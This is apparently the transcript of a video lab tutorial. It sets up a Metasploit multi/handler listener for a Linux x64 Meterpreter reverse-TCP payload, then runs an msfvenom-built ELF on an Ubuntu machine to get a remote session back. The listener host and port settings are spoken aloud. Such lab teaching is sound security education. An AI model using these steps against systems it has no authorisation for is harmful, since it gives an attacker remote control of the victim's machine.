Now the process to start up our MSF console
is pretty much the same,
but we need to make sure that we pay close attention
to the actual exploit and payload
because just like an MSF Venom,
our settings here are ever so slightly different.
So the first thing we do is you go into exploit
or use exploit,
and you can still tab over to make sure
that everything auto fills for you.
And we're gonna use exploit multi-handler like normal.
But there, here are set payload
is going to be the same as it was at MSF Venom.
And that's something you need to keep in mind as well too,
once you start creating files in MSF Venom.
Whatever payload we use in there
needs to be the same in here
because that's what we're listening to.
So inside of here,
we're just gonna set payload to the exact same
as Linux slash x64 meterpreter and reverse TCP.
Our host and port are gonna be the same
and specifically the same
as inside the actual MSF Venom file that we made.
Set L host into 192.168.0.53
and set L port to 192.16...
Oh, my bad.
Autopilot to 4444.
And at this point, you can just type exploit
to go ahead and crank everything up and get it running.
And the listener will be started inside of our Kali system.
So let's hop on over to the Ubuntu system
and make sure that it's actually connecting.
Inside of our Ubuntu system,
you could see on the desktop,
I'll zoom in for you here real quick,
that we have dummy.elf.
Now, if you tried to double click this inside of Ubuntu,
you will get an error
because this is a safety protocol inside of Ubuntu.
That's okay though.
You will also notice that I have a terminal window
opened up and it is to the actual desktop itself.
And this command is pretty simple, ./.dummy.elf.
And because we did that chamod,
we are able to execute this without root permissions
and it's executable for everybody.
And behind the scenes,
it actually opened up a listener to our Kali system.
And I'll zoom in for you here real quick,
that we actually have it open from 192.168.0.51.